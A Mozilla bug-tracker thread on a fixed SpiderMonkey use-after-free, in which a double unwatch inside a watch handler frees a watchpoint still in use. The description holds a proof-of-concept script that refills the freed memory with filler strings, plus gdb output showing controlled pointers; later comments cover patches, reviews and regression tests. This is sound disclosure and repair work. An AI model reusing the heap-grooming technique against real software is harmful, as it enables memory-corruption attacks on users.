362872 - script can drop a watchpoint that is in use

Status: VERIFIED FIXED

(Core :: JavaScript Engine, defect)

Description

[shutdown]

$ cat double-unwatch.txt
function exploit() {
  var rooter = {}, object = {}, filler1 = "", filler2 = "\u5555";
  for(var i = 0; i < 32/2-2; i++) { filler1 += "\u5050"; }
  object.watch("foo", function(){
    object.unwatch("foo");
    object.unwatch("foo");
    for(var i = 0; i < 8 * 1024; i++) {
      rooter[i] = filler1 + filler2;
    }
  });
  object.foo = "bar";
}
exploit();

$ gdb --eval run --args dbg.obj/js double-unwatch.txt
...
Program received signal SIGSEGV, Segmentation fault.
0x0043b1d0 in js_watch_set (cx=0xb50730, obj=0xa44d00, id=10767564,
    vp=0xa2eb64) at jsdbgapi.c:384
384                     clasp = OBJ_GET_CLASS(cx, closure);
(gdb) print *wp
$1 = {links = {next = 0x50505050, prev = 0x50505050}, object = 0x50505050,
  sprop = 0x50505050, setter = 0x50505050, handler = 0x50505050,
  closure = <incomplete type>, nrefs = 21845}

exploitable.

Comment 1

[Blake Kaplan (:mrbkap) (inactive)]

Attachment: One way of fixing this

This changes the meaning of JS_ClearWatchPoint slightly (so that two calls to it only result in one call to DropWatchPoint), and I'm not sure if that's OK. I could move this check into obj_unwatch (and move JSWatchPoint into jsdbgapi.h), which would not change the API.

Comment 2

[Brendan Eich [:brendan]]

Comment on attachment 248317 [details] [diff] [review]
One way of fixing this

Not bad. It seems very bogus that JS_ClearWatchPoint can manipulate wp->nrefs. If the latter is counting strong refs (from rp->watchPointList and any wp local(s) active in js_watch_set frames), then it should not be possible to drop such a strong ref from the watch function, via *any* calls to unwatch.

So it might be better to eliminate nrefs in favor of a frozen flag. Then js_watch_set would set this flag, and JS_ClearWatchPoint would do nothing if it found it set.  What do you think?

/be

Comment 3

[Blake Kaplan (:mrbkap) (inactive)]

(In reply to comment #2)
> So it might be better to eliminate nrefs in favor of a frozen flag. Then
> js_watch_set would set this flag, and JS_ClearWatchPoint would do nothing if it
> found it set.  What do you think?

I think we need a tri-state instead of a boolean. JS_ClearWatchPoint does indeed drop wp->nrefs to represent the ref from rt->watchPointList. So we need:
1: The watchpoint has been added and not dropped
2: The watchpoint is currently running

And if we drop from one of these two states and the other is not set, then we free the watch point. Perhaps we should just encode this into wp->nrefs?

Comment 4

[Brendan Eich [:brendan]]

This was fixed as part of the patch for bug 324010 (which was mistakenly checked in, but with r+, with a checkin message citing bug 366468).

/be

Comment 5

[Daniel Veditz [:dveditz]]

For the older branches do we want the whole patch from bug 324010 or would it make sense to go with a smaller, more specific patch on the branches?

Comment 6

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/Object/regress-362872.js

Comment 7

[Brendan Eich [:brendan]]

(In reply to comment #5)
> For the older branches do we want the whole patch from bug 324010 or would it
> make sense to go with a smaller, more specific patch on the branches?

Smaller patch -- will attach one soon.

/be

Comment 8

[Brendan Eich [:brendan]]

Attachment: 1.8 branch patch

Needs review, enough changed. Also needs testing -- I'm swamped but found time to extract this patch.

/be

Comment 9

[Brendan Eich [:brendan]]

Attachment: 1.8.0 branch patch

Comment 10

[Blake Kaplan (:mrbkap) (inactive)]

Comment on attachment 251821 [details] [diff] [review]
1.8 branch patch

>Index: jsdbgapi.c
>-        if (wp->object == obj && SPROP_USERID(sprop) == id) {
>+        if (wp->object == obj && SPROP_USERID(sprop) == id &&
>+            !(wp->flags & JSWP_HELD)) {
>+            wp->flags |= JSWP_HELD;

Crap, I missed this before: the additional test in the if statement will cause us to hit the assertion at the end of this function, since we are guaranteed to find a watch point. There is watchpoint recursion protection in obj_watch_handler already.

Maybe with this line, we should simply remove the recursion protection and the assertion (and change the return value to JS_TRUE).

Here's a testcase:
js> this.watch('x', function f() { print("before"); x = 3; print("after"); })
js> x = 3
before
Assertion failure: 0, at jsdbgapi.c:565

Comment 11

[Brendan Eich [:brendan]]

Attachment: fixed 1.8 branch patch

mrbkap: thanks, fixed that as proposed.

/be

Comment 12

[Brendan Eich [:brendan]]

Attachment: fixed 1.8.0 branch patch

Comment 13

[Brendan Eich [:brendan]]

Attachment: trunk patch

Comment 14

[Brendan Eich [:brendan]]

Fixed on trunk:

js/src/jsdbgapi.c rev 3.85

/be

Comment 15

[Jay Patel [:jay]]

Comment on attachment 251840 [details] [diff] [review]
fixed 1.8 branch patch

Approved for 1.8 branch, a=jay for drivers.

Comment 16

[Jay Patel [:jay]]

Comment on attachment 251841 [details] [diff] [review]
fixed 1.8.0 branch patch

Approved for 1.8.0 branch, a=jay for drivers.

Comment 17

[Brendan Eich [:brendan]]

1.8:   js/src/jsdbgapi.c 3.56.2.15
1.8.0: js/src/jsdbgapi.c 3.56.2.1.4.10

/be

Comment 18

[Bob Clary [:bc] (inactive)]

verified fixed 1.8.0, 1.8.1, 1.9.0 2007-01-23 win/mac*/linux based on js1_5/Object/regress-362872.js. 

Comment 19

[Bob Clary [:bc] (inactive)]

Attachment: js1_5/Object/regress-362872-02.js

mrbkap's test from comment 10.

Comment 20

[Bob Clary [:bc] (inactive)]

debug linux 1.9.0 on shutdown
Assertion failure: overwriting, at /work/mozilla/builds/1.9.0/mozilla/js/src/jsscope.c:1237
Trace/breakpoint trap

debug linux 1.8.1 on shutdown 
Assertion failure: overwriting, at /work/mozilla/builds/1.8.1/mozilla/js/src/jsscope.c:1133
Trace/breakpoint trap

debug linux 1.8.0
Assertion failure: overwriting, at /work/mozilla/builds/1.8.0/mozilla/js/src/jsscope.c:1132

dittos windows and mac (I think).

Comment 21

[Bob Clary [:bc] (inactive)]

btw, shutting down is not necessary. just click the home button and you will hit the same assert.

Comment 22

[Brendan Eich [:brendan]]

New bug please -- cc: mrbkap and me.

/be

Comment 23

[Bob Clary [:bc] (inactive)]

assert is fixed by patch in bug 361856 comment 9

Comment 24

[Bob Clary [:bc] (inactive)]

/cvsroot/mozilla/js/tests/js1_5/Object/regress-362872-01.js,v  <--  regress-362872-01.js
initial revision: 1.1

/cvsroot/mozilla/js/tests/js1_5/Object/regress-362872-02.js,v  <--  regress-362872-02.js
initial revision: 1.1